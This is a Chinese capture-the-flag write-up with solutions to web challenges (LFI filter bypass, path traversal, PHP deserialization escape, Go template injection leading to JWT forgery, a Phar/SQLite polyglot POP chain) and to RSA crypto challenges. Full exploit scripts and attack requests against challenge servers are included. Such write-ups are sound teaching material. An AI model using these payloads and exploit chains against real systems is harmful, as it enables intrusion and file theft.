WEB
Time capsule
1. 题目分析
打开题目网站,我们看到一个“时间胶囊”应用,主要功能包括:
- 设置解锁时间:用户输入用户名和解锁时间戳。
- 查看状态:检查当前用户的时间胶囊是否已解锁。
- 读取文件:一个 API 接口允许读取文件内容。
通过观察网络请求,发现应用使用了 JWT (JSON Web Token) 进行身份验证,Cookie 中包含 token 字段。
关键接口
POST /api/set_unlock_time: 设置用户信息,返回 JWT。GET /api/read_file?file=<path>: 读取服务器文件。
- 漏洞探测
2.1 伪造与爆破尝试
- JWT 爆破: 尝试使用常见弱口令(如
secret,123456)爆破HS256密钥,未成功。 - JWT
None算法: 尝试修改算法为None进行伪造,服务器返回invalid token,说明有校验。 - SSTI: 在用户名中输入
{{7*7}},服务器原样返回,无服务端模板注入漏洞。
2.2 LFI
这是本题的突破口。当我们使用 /api/read_file 读取文件时,发现奇怪的行为:
-
读取
/etc/passwd或其他常见文件:{"content": "flag{wuhu~}"}服务器返回了一个假的 flag,说明大多数文件读取请求被 Mock 了。
-
尝试读取
/flag:{"content": "拒绝访问: flag 文件访问被拒绝"}服务器明确拦截了
flag关键字。 -
尝试路径遍历
../../etc/passwd:{"content": "拒绝访问:路径包含禁止的模式"}服务器拦截了
..和//等路径遍历符号。
3. 漏洞利用
通过上述分析,我们确认存在一个 LFI 漏洞,但有一个黑名单过滤器在保护真正的 flag 文件。
过滤器逻辑推测:
- 禁止包含
flag(小写) 的字符串。 - 禁止路径遍历符号。
绕过思路:
尝试利用文件名的大小写特性绕过过滤器。既然过滤器拦截 flag,我们尝试请求 FLAG。
攻击 Payload
curl -b "token=<你的JWT Token>" "http://150.138.XX.XXX:XXXXX/api/read_file?file=FLAG"响应结果
{ "content": "HSCCTF{05ce8eaf-da01-449d-b199-f04ef341f68e}"}成功!服务器的过滤器只匹配了小写的 flag,但并未拦截大写的 FLAG,且文件系统允许通过大写文件名访问。
SSRF
Horse
访问目标网站,首先发现需要伪造 User-Agent 才能正常访问(如使用 Mozilla/5.0)。
通过目录扫描和文件枚举,发现了以下关键文件:
/start.sh: 内容显示echo $FLAG > /flag,这确认了 Flag 的绝对路径为/flag。/password/pass.list: 一个密码字典文件,暗示可能需要爆破。/Dockerfile: 确认了运行环境。/modes/目录: 存放了1.php,2.php等文件,对应网站的“模式”功能。
主要交互逻辑在两个文件:
change_mode.php: 用于登录并设置用户的“模式” (ctfer_mode)。get_mode.php: 用于显示当前设置的模式。
参数 ctfer_mode 看起来非常可疑,正常请求中它的值为 1.php。结合 /modes/ 目录的存在,推测后端代码可能类似于:
include "./modes/" . $_POST['ctfer_mode'];这极有可能存在 本地文件包含 (LFI) 漏洞。
尝试利用漏洞前,发现必须先登录。登录表单字段为 ctfers (用户名) 和 ctfpass (密码)。
- 用户名猜测: 根据字段名
ctfers,猜测用户名可能是ctfers或admin。 - 密码爆破: 结合
pass.list或常见弱口令进行测试。
使用脚本对 ctfers 用户进行爆破,成功发现密码为 12345678。
登录成功后,我们可以在 change_mode.php 的 POST 请求中通过修改 ctfer_mode 参数来触发 LFI。
由于预期的路径可能是 modes/ 目录下,我们需要使用 ../ 进行路径穿越回到根目录读取 /flag。
Payload:
../../flag攻击请求 (HTTP Request):
POST /change_mode.php HTTP/1.1Host: 150.138.81.18:12433User-Agent: Mozilla/5.0Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=<your_session_id>
ctfers=ctfers&ctfpass=12345678&ctfer_mode=../../flagBaby Cloud
访问题目提供的链接,直接给出了 PHP 源码:
<?phperror_reporting(0);include('flag.php');class race{ public $rainbow; public $pinkie; public $fail = 1; public function __construct($rainbow, $pinkie) { $this->rainbow = $rainbow; $this->pinkie = $pinkie; }}if (isset($_GET['rainbow']) && isset($_GET['pinkie'])) { $rainbow = $_GET['rainbow']; $pinkie = $_GET['pinkie']; $_RACE = new race($rainbow, $pinkie); if (preg_match('/wonderful/', $rainbow)) { $twlight_freeze_magic = serialize($_RACE); $twlight_change_magic = str_replace('awesome', 'awesomer', $twlight_freeze_magic); $twlight_resume_magic = unserialize($twlight_change_magic); if ($twlight_resume_magic->fail == 0) { echo $flag; } else { echo "rainbow is not wonderful"; echo "flag{17de01b1-56d5-45d1-8b86-475811b32634}"; // 假的 flag } } else { // ... (省略无关输出) }} else { highlight_file(__FILE__);}关键逻辑:
- 接收
rainbow和pinkie参数创建race对象。 - 序列化对象:
serialize($_RACE)。 - 字符串替换:将
awesome替换为awesomer。注意awesome是 7 个字符,awesomer是 8 个字符。每替换一次,字符串长度增加 1。 - 反序列化:
unserialize。 - 目标:使反序列化后的对象属性
$fail为 0(默认为 1)。
漏洞原理:PHP 反序列化字符逃逸(增多)
PHP 在反序列化时,会根据序列化字符串中的长度描述(如 s:7:"...")来读取数据。
如果我们在序列化后的字符串中进行了替换操作,改变了字符串的实际长度,但没有更新长度描述,就会导致反序列化解析错位。
在本题中,awesome (7 chars) -> awesomer (8 chars),长度增加。我们可以利用这个特性,将我们构造的恶意属性字符串“挤”出原来的字符串引号包围范围,从而被解析为对象的属性。
我们需要构造一个 rainbow 字符串,使得经过 str_replace 后,一部分内容逃逸出来,覆盖原本的结构,并注入 fail 属性。
1. 确定注入 Payload
我们要注入的属性是 $fail = 0。
正常序列化后的结尾大概是 ...s:6:"pinkie";s:1:"x";s:4:"fail";i:1;}。
我们希望构造的结构能让反序列化提前结束,或者覆盖后面的属性。
我们可以让 rainbow 的值吞掉一部分后续字符,或者把后续字符挤出去。这里是长度增加,所以是将后面的恶意代码挤出 rainbow 的字符串范围。
构造 Payload 目标:让 rainbow 的值在反序列化时闭合,紧接着是我们注入的 fail 属性。
注入部分:
";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}这段字符串长度为 37 字符。
2. 计算逃逸长度
我们需要逃逸 37 个字符。
因为 awesome -> awesomer 每次增加 1 个字符,所以我们需要 37 个 awesome。
3. 构造最终 Payload
rainbow 的组成:
wonderful(题目要求必须包含,用于绕过preg_match)awesome* 37 (用于产生 37 个字节的逃逸空间)- 注入的恶意序列化字符串:
";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}
pinkie 可以随意设置,比如 x。
原理演示:
假设 rainbow 只有 1 个 awesome 和注入 payload。
序列化后:
...s:46:"wonderfulawesome...";... (长度是按原始字符串算的)
替换后:
awesome 变成 awesomer,长度+1。
反序列化读取字符串时,读取原始长度,因此 awesomer 中的 r 以及后面的字符会被“挤”到后面去。
我们需要挤出的正是 ";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}。
exp
import requests
url = "http://150.138.81.18:14935/"
# 我们要注入的恶意属性,不仅覆盖 fail,还为了闭合前面 rainbow 的引号和分号# 注意:这里不需要闭合大括号,因为我们是在中间注入属性,最后由 PHP 自动处理或忽略多余部分# 但为了稳妥,直接闭合整个对象也是一种方法,或者只是注入属性。# 题目中 rainbow 是第一个属性,pinkie 是第二个,fail 是第三个。# 我们的注入会让解析器以为 rainbow 的值结束了,然后解析 pinkie 和 fail。
# 注入 Payload:# "; <- 闭合 rainbow 的字符串# s:6:"pinkie";s:1:"x"; <- 伪造 pinkie# s:4:"fail";i:0; <- 伪造 fail,设为 0# } <- 闭合对象inject_payload = '";s:6:"pinkie";s:1:"x";s:4:"fail";i:0;}'
# 需要逃逸的长度escape_len = len(inject_payload)
# 每个 awesome 增加 1 字节,所以需要 escape_len 个 awesome# 题目要求 rainbow 包含 wonderfulrainbow = "wonderful" + "awesome" * escape_len + inject_payloadpinkie = "x"
params = { "rainbow": rainbow, "pinkie": pinkie}
print(f"Payload length: {len(rainbow)}")res = requests.get(url, params=params)print(res.text)Purple Moon
Gogogo
访问题目提供的链接 http://150.138.81.18:12078 ,发现是一个“ACME 客服工单系统”。
- 注册与登录 : 系统允许用户注册任意账号。注册并登录后,进入后台仪表板。
- 功能点 :
- Dashboard : 查看概览。
- Tickets : 查看工单列表。可以看到工单 #1001, #1002, #1004,但缺少 #1003。
- New Ticket : 创建新工单,包含一个“预览”功能。
- Settings / Profile : 查看个人信息。
- 发现受限资源 : 尝试直接访问 http://150.138.81.18:12078/ticket/1003 ,系统提示“权限不足:此工单需要管理员权限”。
- 身份验证机制 : 检查浏览器 Cookies,发现系统使用 JWT ( token ) 进行身份验证。解码 Token 可以看到 role: support 和 userid: 2 。
在“新建工单” ( /new ) 页面,发现有一个“预览”按钮。输入内容并点击预览后,内容会回显在下方。
尝试输入模板注入测试 Payload:
- 输入 {{ 77 }} -> 报错,提示 template: preview_result:1: unexpected "" in operand 。
- 报错信息泄露了后端使用的是 Go 语言的 text/template 或 html/template 引擎 。
步骤一:利用 SSTI 泄露密钥
由于是 Go 模板引擎,我们可以尝试打印当前上下文的所有变量。
Payload :
{{ printf "%+v" . }}结果 : 服务器返回了当前上下文的详细结构体数据:
{Config:{Name:ACME 客服工单系统 ... JWT:{Secret:7k5emlQwwUAIIBHJIssuer:acme-support-prod}} User:{UserID:2 ... Role:support ...} ...}我们在返回的配置信息中直接找到了 JWT 的签名密钥 (Secret): Secret : 7k5emlQwwUAIIBHJ
步骤二:伪造管理员 Token
拿到密钥后,我们就可以伪造任意身份的 JWT Token。
- 获取原 Token : 复制当前用户的 Cookie token 。
- 解码 : 使用 JWT 工具或脚本解码。
- 修改 Payload :
- 将 role 从 support 改为 admin 。
- (可选) 将 userid 改为 1 (通常管理员 ID 为 1)。
- (可选) 将 name 改为 admin 。
- 重新签名 : 使用泄露的密钥 7k5emlQwwUAIIBHJ 和 HS256 算法对 Token 进行重新签名。 伪造脚本 (Python 示例) :
import jwt
SECRET = "7k5emlQwwUAIIBHJ"# 原始 Token 的 payloadpayload = { "exp": 1765059187, "iss": "acme-support-prod", "name": "admin", "role": "admin", "userid": 1}forged_token = jwt.encode(payload,SECRET, algorithm="HS256")print(forged_token)步骤三:获取 Flag
- 在浏览器中将 Cookie 中的 token 替换为刚才伪造的 管理员 Token 。
- 再次访问之前受限的工单页面: http://150.138.81.18:12078/ticket/1003 。
- 成功进入详情页,在工单描述中找到了 Flag。
Message_Board
漏洞分析
这道题综合了 Phar 反序列化 、 SQLite Polyglot(多格文件) 以及 PDO Fetch Injection 三个知识点。
1. 入口点:Phar 反序列化
在 index.php 的 delete 逻辑中,存在 file_exists 调用:
public function deleteMessage($path) { $path = $path . ".txt"; if (file_exists($path)) { // 漏洞点 // ... }}由于 $path 参数可控,我们可以传入 phar:///var/www/html/upload/ctfer_message ,配合 .txt 后缀,触发 Phar 反序列化漏洞。
2. POP 链构造
反序列化的入口是 User 类:
- User::__destruct() : 析构函数调用了 $this->log() 。
- User::log() : 调用 $this->conn->get_connection() 获取数据库连接,并执行 SQL 查询: SELECT * FROM users WHERE username =
。 - PDO_connect : 我们可以控制 $this->conn 为一个恶意的 PDO_connect 对象。在该对象中,我们可以控制 dsn 和 options 。
- 核心利用:PDO Fetch Injection
这是本题最精彩的部分。我们需要利用 User::log() 中的 SQL 查询结果来执行任意操作。
$stmt->execute();$result = $stmt->fetch(); // 获取查询结果return $result;如果我们在 PDO_connect 中设置了特殊的 PDO 属性:
PDO::ATTR_DEFAULT_FETCH_MODE =>PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPEPDO 会根据查询结果的第一列作为 类名 来实例化对象,并将后续列作为属性赋值给该对象。
我们的目标是利用 UserMessage 类读取 Flag:
- UserMessage::__set() : 当给不存在的属性赋值时触发,会读取 $this->filePath 指向的文件并写入 log。 攻击思路 :
- 让 SQL 查询返回一个结果集,第一列是 UserMessage 。
- PDO 自动实例化 UserMessage 。
- SQL 结果集中包含 filePath 列(设置为 /flag )。
- SQL 结果集中包含一个不存在的列(例如 dummy ),触发 UserMessage::__set 。
- __set 触发文件读取,将 /flag 内容写入 /var/www/html/log/md5(‘/flag’).txt 。
4. 数据源:SQLite Polyglot
因为 User::log() 执行的是 SELECT 查询,我们需要一个受控的数据库。 我们可以将 DSN 指向我们上传的文件: sqlite:/var/www/html/upload/ctfer_message.txt 。 由于我们只能上传一个文件,且该文件必须既是有效的 Phar (用于反序列化) 又是有效的 SQLite 数据库 (用于 PDO 查询),我们需要构造一个 Polyglot 文件。
- Phar 部分 : 包含恶意的 User 对象。
- SQLite 部分 : 包含一个 users 表,里面有一行恶意数据。
- 结合 : 将 SQLite 数据库文件的内容放在 Phar 的 Stub 中,并以 结尾。
第一步:生成恶意 SQLite 数据库
我们需要创建一个 users 表,列的顺序非常重要,因为我们要利用 FETCH_CLASSTYPE 。
import sqlite3
conn = sqlite3.connect('payload.db')c = conn.cursor()
# 表结构设计:# col1: 用于指定类名 (UserMessage)# filePath: 设置 UserMessage 的私有属性filePath 为 /flag# dummy: 一个不存在的属性,用于触发 __set 魔术方法# username: 用于匹配查询条件 WHERE username= :username (admin)c.execute('''CREATE TABLE users (col1 TEXT, filePath TEXT, dummy TEXT, username TEXT) ''')
# 插入恶意数据c.execute("INSERT INTO users VALUES('UserMessage', '/flag', '1', 'admin')")
conn.commit()conn.close()print("payload.db created")第二步:生成 Polyglot Phar 文件
使用 PHP 构造 Phar 文件,将 SQLite 数据库嵌入 Stub,并设置 Metadata 触发反序列化。
<?phpinclude 'classes.php'; // 需包含题目源码中的类定义
// 1. 准备恶意 User 对象$user = new User(1, "admin", "123");
// 2. 准备恶意 PDO 连接配置$pdo_connect = new PDO_connect();$pdo_connect->con_options = array( // DSN 指向我们上传的文件 (既是 Phar 又是 SQLite DB) "dsn" => "sqlite:/var/www/html/upload/ ctfer_message.txt", 'user' => '', 'password' => '', 'options' => array( // 关键:设置默认 Fetch Mode 为 FETCH_CLASS | FETCH_CLASSTYPE PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE, PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ));
$user->setConn($pdo_connect);
// 3. 读取 SQLite 数据库内容$db_content = file_get_contents('payload.db');
// 4. 生成 Phar@unlink('payload.phar');$phar = new Phar('payload.phar');$phar->startBuffering();
// 将 SQLite 内容作为 Stub 的一部分$stub = $db_content . "<?php__HALT_COMPILER(); ?>";$phar->setStub($stub);
// 设置 Metadata 序列化数据$phar->setMetadata($user);
// 添加任意文件保证 Phar 有效性$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();echo "payload.phar created.\n";?>第三步:上传并利用
使用 Python 脚本自动化攻击流程。
import requestsimport base64import hashlib
url = "http://150.138.81.18:11087"
# 1. 读取生成的 payload.pharwith open('payload.phar', 'rb') as f: payload = f.read()
# 2. 上传 Payload# 题目会对 message 进行 base64_decode,所以我们需要先 base64 编码payload_b64 = base64.b64encode(payload).decode()print("[*] Uploading payload...")requests.post(f"{url}/index.php?action=write", data={ "message": payload_b64})
# 3. 触发反序列化# 使用 phar:// 伪协议指向上传的文件# 注意:题目代码中会附加 .txt 后缀,所以这里去掉 .txtpath = "phar:///var/www/html/upload/ctfer_message"print("[*] Triggering exploit...")requests.post(f"{url}/index.php?action=delete", data={ "message_path": path})
# 4. 获取 Flag# 触发成功后,/flag 的内容会被写入到 log 目录下flag_path = "/flag"flag_md5 = hashlib.md5(flag_path.encode()).hexdigest()log_url = f"{url}/log/{flag_md5}.txt"
print(f"[*] Checking log: {log_url}")r = requests.get(log_url)if r.status_code == 200: print("\n[+] Flag Found:\n") print(r.text)else: print("[-] Exploit failed or log not found.")CRYPTO
Ancient
- Base64 Decode : RzVJVFlaSkZGUk1HV1daWkdOQ0RFNEpJSE5RWEdOS05ISlNHSTNCT0daWVVXS1pDRzQzV01UQ0NISkVTNElKQkdKUkZFUEpYRjVIVk0zMlpIQVpXNjQyTkdaSlRBNFMzR1pKVENPMllIVjJWWVRMQ0daTERDTVpYR0JURk1TMlpHQlRWR0xDWkdaS1ZRWUo1R0ZURVFRSlNHQlRGNFQyTUc1SVRHUURFSFU3REVZSkVHNVdFS1FEUEdKUEVJS1NYRzQ0RkNRU0lITkNIQ1NaUEdWWlc0UlJZR1pZSEdRVFBHSVVXSVMzQkc0M0RHMkJIRzQ0R1lLU0VHQlFBPT09PQ== ↓
- Base32 Decode : G5ITYZJFFRMGWWZZGNCDE4JIHNQXGNKNHJSGI3BOGZYUWKZCG43WMTCCHJES4IJBGJRFEPJXF5HVM32ZHAZW642NGZJTA4S3GZJTCO2YHV2VYTLCGZLDCMZXGBTFMS2ZGBTVGLCZGZKVQYJ5GFTEQQJSGBTF4T2MG5ITGQDEHU7DEYJEG5WEKQDPGJPEIKSXG44FCQSIHNCHCSZPGVZW4RRYGZYHGQTPGIUWIS3BG43DG2BHG44GYKSEGBQA==== ↓
- Ascii85 Decode (注意不是 Git 版 Base85,而是 Adobe Ascii85):
`7Q<e%,Xk[93D2q(;as5M
.6qK+“77fLB.!!2bR=7/OVoY83osM6S0r[6S1;X=u\Mb6V1370fVKY0gS,Y6UXa=1fHA20f^OL7Q3@d=>2a$7lE@o2^D W78QBH;DqK/5snF86psBo2)dKa763h’78l D0“ ↓ - Base45 Decode : F8DAM8EPDMR6T1ACOCDDC-578FE
↓ - Base62 Decode (标准字符集 0-9A-Za-z ): hLuIMuJoyfkOnvWBJiSt8vMlYuRBdHvvNrEweI4tXlONfYkGD8Gxyp79GR2P9WCKkH4KOdc0aB8iqiYx4pJ ↓
- Base58 Decode (标准 Bitcoin 字符集): 3XzE5jomPADm2Q58eE6XgcTZu9CWkr3Q6aZmT2irXqikpp3xA4ucXHCKHQWZmE ↓
- Result : flag{cl@ss1cal_c1pher_@re_really_1nterest1ng}
EZRSA
def tran(n): s_bin = bin(n)[2:] bit_map = {'0': '10', '1': '01'} p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]]) return int(p_bin, 2)
def keygen(nbit): while True: s = getPrime(nbit) p = tran(s) if not isPrime(p): continue s_bin = bin(s)[2:].zfill(nbit) q_bin = (s_bin[:nbit // 2] + '1' * (nbit // 2) + s_bin[nbit // 2:] + '1' * (nbit // 2)) q = int(q_bin, 2) if isPrime(q): return p,q
flag = "flag{____________________________}"nbit = 256p, q = keygen(nbit)m = bytes_to_long(flag.encode())e= 65537n = p * qc = pow(m, e, n)
print(f'n = {n}')print(f'c = {c}')
"""n =c ="""1. 代码逻辑审计
题目给出了源码 EZRSA.py,我们需要仔细分析 keygen 函数中 和 的生成逻辑:
- 种子 :生成了一个 256 位的随机素数
s。 - 生成 (
tran函数):- 是由 的二进制位转换而来的。
- 转换规则: 中的每一位(除了最高位)如果为 ‘0’ 则变为 ‘10’,如果为 ‘1’ 则变为 ‘01’。
- 关键点:这意味着 的每一个比特位都严格依赖于 的对应比特位。 的低位决定 的低位。
- 生成 :
- 是通过拼接 的二进制位和固定的 ‘1’ 串生成的。
- 结构为:
s的高128位+128个'1'+s的低128位+128个'1'。 - 关键点: 的最低 128 位全是 1,随后的 128 位完全等于 的低 128 位。这也意味着 的低位也完全由 决定。
2. 漏洞原理
在标准的 RSA 中, 和 应该是两个独立的随机大素数。但在这道题中:
- 和 均由同一个较小的种子数 (256位)确定性生成。
- 。
- 二进制位的对应关系是从低位到高位一一对应的。
这种结构非常适合使用 爆破比特位(DFS/Branch and Prune) 的方法。我们可以从 的最低位(LSB)开始,一位一位地猜测 的值,计算出对应的局部 和 ,然后验证 是否等于 。如果相等,则说明猜测正确,继续猜测下一位;如果不相等,则回溯。
解题思路
- 初始化:创建一个搜索队列,初始状态为
(当前猜测的s值, 当前位数index),从第 0 位开始。 - 搜索过程:
- 对于当前位
index,尝试猜测该位是0还是1。 - 构造临时的
next_s。 - 根据
next_s模拟题目逻辑生成临时的 和 。 - 剪枝条件:计算
temp_n = p * q。检查temp_n的低位是否与题目给出的n的低位一致。- 由于 的膨胀率是 2 倍(1位变2位),我们通常检查
2 * (index + 1)位长度的模数即可过滤错误分支。
- 由于 的膨胀率是 2 倍(1位变2位),我们通常检查
- 对于当前位
- 结束条件:当猜测完 256 位,且生成的 满足 时,即找到了真正的 。
- 解密:拿到 后,生成完整的 ,计算私钥 ,解密 得到 Flag。
Exp:
from Crypto.Util.number import *from Crypto.Util.number import long_to_bytes
n =c =e = 65537nbit = 256
def get_p_q(s_val): s_bin = bin(s_val)[2:].zfill(nbit) bit_map = {'0': '10', '1': '01'} p_bin = '11' + ''.join([bit_map[bit] for bit in s_bin[1:]]) p = int(p_bin, 2) q_bin = (s_bin[:nbit // 2] + '1' * (nbit // 2) + s_bin[nbit // 2:] + '1' * (nbit // 2)) q = int(q_bin, 2) return p, qcandidates = [(0, 0)]found_s = None
while candidates: cur_s, idx = candidates.pop() if idx == nbit: p, q = get_p_q(cur_s) if p * q == n: found_s = cur_s break continue
for bit in [0, 1]: next_s = cur_s | (bit << idx) p, q = get_p_q(next_s) check_bits = 2 * (idx + 1) mask = (1 << check_bits) - 1 if (p * q) & mask == n & mask: candidates.append((next_s, idx + 1))
if found_s: print(f"[+] Found seed s: {found_s}") p, q = get_p_q(found_s) phi = (p - 1) * (q - 1) d = pow(e, -1, phi) m = pow(c, d, n) flag = long_to_bytes(m) print(f"[+] Flag: {flag.decode()}")else: print("[-] Failed to recover s")math
from Crypto.Util.number import *
def gen_rev_sum(m,p): sum = 0 round = 0 while m > 0: digit = m % p if round % 2 == 0: sum -= digit else: sum += digit m = m // p round += 1 return sum // 2025
e = 65537p = getPrime(256)q = getPrime(256)n = p*q
m1 = getRandomNBitInteger(2048)m2 = getRandomNBitInteger(2048)sum1 = gen_rev_sum(m1, p)sum2 = gen_rev_sum(m2, p)
flag = "flag{--------------------------}"m = bytes_to_long(flag.encode())
print("m1 =",m1)print("m2 =",m2)print("sum1 =",sum1)print("sum2 =",sum2)print("n =",n)print("c =",pow(m,e,n))
'''m1 =m2 =sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282n =c =e = 65537'''1. 源码逻辑审计
题目提供了一个函数 gen_rev_sum(m, p),其逻辑如下:
- 将整数 按照 进制展开:
- 计算一个累加和
sum:- 第 0 轮(偶数轮):
sum -= d0 - 第 1 轮(奇数轮):
sum += d1 - 第 2 轮(偶数轮):
sum -= d2 - …
- 第 0 轮(偶数轮):
- 最终返回
sum // 2025。
数学上,这个 sum 可以表示为:
2. 数学推导
我们要利用 进制的性质。定义多项式 ,那么 。
考虑 的值:
根据同余性质,。
我们取模 。因为 ,所以:
代入 和 :
移项得:
这意味着 是 的倍数。
3. 攻击方案
题目给出了 sum1 和 sum2,它们是原始 除以 2025 后的整除结果。
令 为 对应的真实和, 为 对应的真实和。
根据整除的定义:
结合前面的推导,我们有:
- 是 的倍数。
- 是 的倍数。
因此, 一定是这两个数的公约数。
我们可以爆破 和 (范围 0 到 2024),计算:
由于 是 256 位的大素数, 也非常大。如果我们在爆破过程中发现某个 的比特数接近或超过 256 位,那么这个 很可能就是 (或者是 的倍数)。找到 后,即可计算 ,进而解密 RSA。
from Crypto.Util.number import *import math
# 题目数据n =c =e = 65537m1 =m2 =sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
# 预计算基准值# m + S = k * (p+1)# S = 2025 * sum + rA_base = m1 + 2025 * sum1B_base = m2 + 2025 * sum2
print("[*] 开始爆破 r1 和 r2 (0-2024)...")
found_p = None
for r1 in range(2025): val1 = A_base + r1 if r1 % 500 == 0: print(f"[*] 正在检查 r1 = {r1} ...")
for r2 in range(2025): val2 = B_base + r2 g = math.gcd(val1, val2) if g.bit_length() > 250: for k in range(1, 101): if g % k == 0: cand_p = (g // k) - 1 if cand_p > 1 and n % cand_p == 0: found_p = cand_p print(f"[+] 找到 p!") print(f" r1: {r1}") print(f" r2: {r2}") print(f" k : {k}") print(f" p : {found_p}") break if found_p: break if found_p: break
if found_p: p = found_p q = n // p
phi = (p - 1) * (q - 1) d = pow(e, -1, phi)
m_int = pow(c, d, n) flag = long_to_bytes(m_int) print(f"\n[+] Flag: {flag.decode()}")else: print("[-] 未能找到 p,请检查逻辑。")Where
from Crypto.Util.number import *import random
flag = "flag{_______________________________}"m = bin(bytes_to_long(flag.encode()))[2:]p = getPrime(300)q = getPrime(300)n = p * q
R.<x> = PolynomialRing(Zmod(n))
def gen(m): C = [] for bit in m: if bit == '0': C.append(random.randint(1, n-1)) else: x = random.randint(1, 2^80) y = random.randint(1, p-1) val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x) C.append(R(val)) return C
c = gen(m)print(f"n = {n}")print(f"c = {c}")-
加密逻辑:
-
题目生成了两个 300 位的素数 ,并计算 。
-
将 Flag 转换为二进制流。
-
如果是 ‘0’:密文 是一个模 的随机数。
-
如果是 ‘1’:密文 通过以下公式计算:
其中 是 80 位的随机数, 是模 的随机数。
-
-
公式化简:
让我们展开比特 ‘1’ 对应的加密公式(在整数域上,或者模 ):
令 。
对于比特 ‘1’,我们有:
这意味着:
由于 只有 80 位,而 是 300 位,这意味着 模 的余数非常小。
-
攻击思路:
- 这是一个典型的 Hidden Number Problem (HNP) 或 Approximate GCD 问题的变体。
- 对于比特 ‘0’, 是随机的,不满足上述性质。
- 对于比特 ‘1’, 是 的倍数加上一个“小”的噪音 。同时我们知道 也是 的倍数(噪音为 0)。
- Flag 格式通常为
flag{...}。字符 ‘f’ 的 ASCII 码是 102,二进制为1100110。 - 因此,密文的前两项 和 对应比特 ‘1’。
- 我们可以利用 构建格(Lattice),使用 LLL 算法求出公共因子 (或者 )。一旦知道了 和 ,我们就可以通过检查 是否很小来区分 ‘0’ 和 ‘1’。
import refrom Crypto.Util.number import long_to_bytesfrom sage.all import Matrix, ZZ
def solve(): try: with open("output.txt", "r") as f: content = f.read() n = int(re.search(r"n = (\d+)", content).group(1)) c_str = re.search(r"c = \[(.*?)\]", content, re.DOTALL).group(1) c = [int(x) for x in c_str.split(',')] except Exception as e: print("[-] Error reading output.txt. Make sure the file exists.") return
print(f"[*] Loaded n (approx {n.bit_length()} bits)") print(f"[*] Loaded {len(c)} ciphertexts")
offset = 65537 v0 = c[0] - offset v1 = c[1] - offset W = 2**80
M = Matrix(ZZ, [ [n, 0, 0], [0, n, 0], [v0, v1, W] ])
print("[*] Running LLL...") L = M.LLL()
p = 0 # 遍历 LLL 结果寻找 p for row in L: # 最后一列是 p * W possible_p = abs(row[2]) // W if possible_p > 1 and n % possible_p == 0: p = possible_p print(f"[+] Found factor p: {p}") break
if p == 0: print("[-] Failed to find p") return
q = n // p
m_bits = "" for val in c: check = (val - offset) % q # x 是 80 bits if check < 2**81: # Changed ^ to ** for Python compatibility m_bits += "1" else: m_bits += "0"
try: flag_int = int(m_bits, 2) flag = long_to_bytes(flag_int) print(f"[+] Flag: {flag.decode()}") except Exception as e: print(f"[!] Decoding failed: {e}") print(f"[!] Raw bits: {m_bits}")
if __name__ == "__main__": solve()StillRSA
from Crypto.Util.number import *from gmpy2 import *
def gen(): while(1): p1 = getPrime(128) p2 = getPrime(512) q2 = getPrime(512) s = q2 & ((1 << 56) - 1) q1 = 2 * p1 + s r1 = 2 * q1 + s if is_prime(q1) and is_prime(r1): n1 = p1 * q1 * r1 n2 = p2 * q2 break return n1,n2,p1,p2
n1,n2, p1, p2 = gen()e = 65537
flag = "flag{---------------------------------------}".encode()m1 = bytes_to_long(flag[: (len(flag)+1) // 2])m2 = bytes_to_long(flag[(len(flag)+1) // 2 :])
c1 = powmod(m1, e, n1)c2 = powmod(m2, e, n2)
gift = p2 >> 262
print(f"e = {e}")print(f"n1 = {n1}")print(f"n2 = {n2}")print(f"c1 = {c1}")print(f"c2 = {c2}")print(f"p1 = {p1}")print(f"gift = {gift}")
'''e =n1 =n2 =c1 =c2 =p1 =gift ='''题目分析
题目提供了一个 Python 脚本 stillRSA.py,其中包含:
- 密钥生成函数
gen()。 - 加密过程:Flag 被切分为两部分
m1和m2,分别用(n1, e)和(n2, e)加密得到c1和c2。 - 已知信息:
e,n1,n2,c1,c2,p1,gift。
我们需要分别攻破 n1 和 n2 的体系来恢复 m1 和 m2。
第一部分:恢复 m1
1. 漏洞分析
观察 gen() 函数中生成 n1 的部分:
p1 = getPrime(128)# ...s = q2 & ((1 << 56) - 1) # s 是一个 56 位的随机数 (q2 的低位)q1 = 2 * p1 + sr1 = 2 * q1 + s# ...n1 = p1 * q1 * r1我们已知 n1 和 p1。
由代码可知,q1 和 r1 都线性依赖于 p1 和一个未知数 s。
我们可以推导 r1 关于 p1 和 s 的表达式:
将 q1 和 r1 代入 n1 的公式:
因为 p1 已知,我们可以计算 :
整理得到关于 s 的一元二次方程:
2. 求解 s
这是一个标准的二次方程 ,其中:
利用求根公式 即可解出 s。
3. 解密 m1
求出 s 后,即可计算:
结果:
解密得到 m1 为 flag{Im_a_fw_that_only_。
同时得到 s = 9552164980988953。
第二部分:恢复 m2
1. 漏洞分析
观察 gen() 函数中生成 n2 的部分:
p2 = getPrime(512)q2 = getPrime(512)s = q2 & ((1 << 56) - 1) # s 是 q2 的低 56 位# ...n2 = p2 * q2# ...gift = p2 >> 262 # gift 是 p2 的高位 (512 - 262 = 250 位)我们需要分解 n2 得到 p2。已知信息如下:
- p2 的高位: 由
gift给出。 - p2 的低位: 可以通过
s推导。
推导 p2 低位:
由 s = q2 & ((1 << 56) - 1) 可知:
因为 ,所以:
令 p2_low 为计算出的 p2 低 56 位。
p2 的结构:
其中 是中间未知的比特部分。
已知 p2 是 512 位,gift 覆盖了高 250 位,p2_low 覆盖了低 56 位。
中间未知部分 的长度约为 位。
- Coppersmith 攻击
这是一个典型的已知部分私钥位的 RSA 攻击问题(Coppersmith’s Attack)。我们可以构造一个多项式 ,使得 是它的一个小根。
构造多项式:
我们需要找到 ,使得 。
由于 是 的因子,且 相对较小 (),我们可以使用格基规约(LLL算法)来求解。在 SageMath 中可以使用 small_roots 方法。
3. SageMath 求解脚本
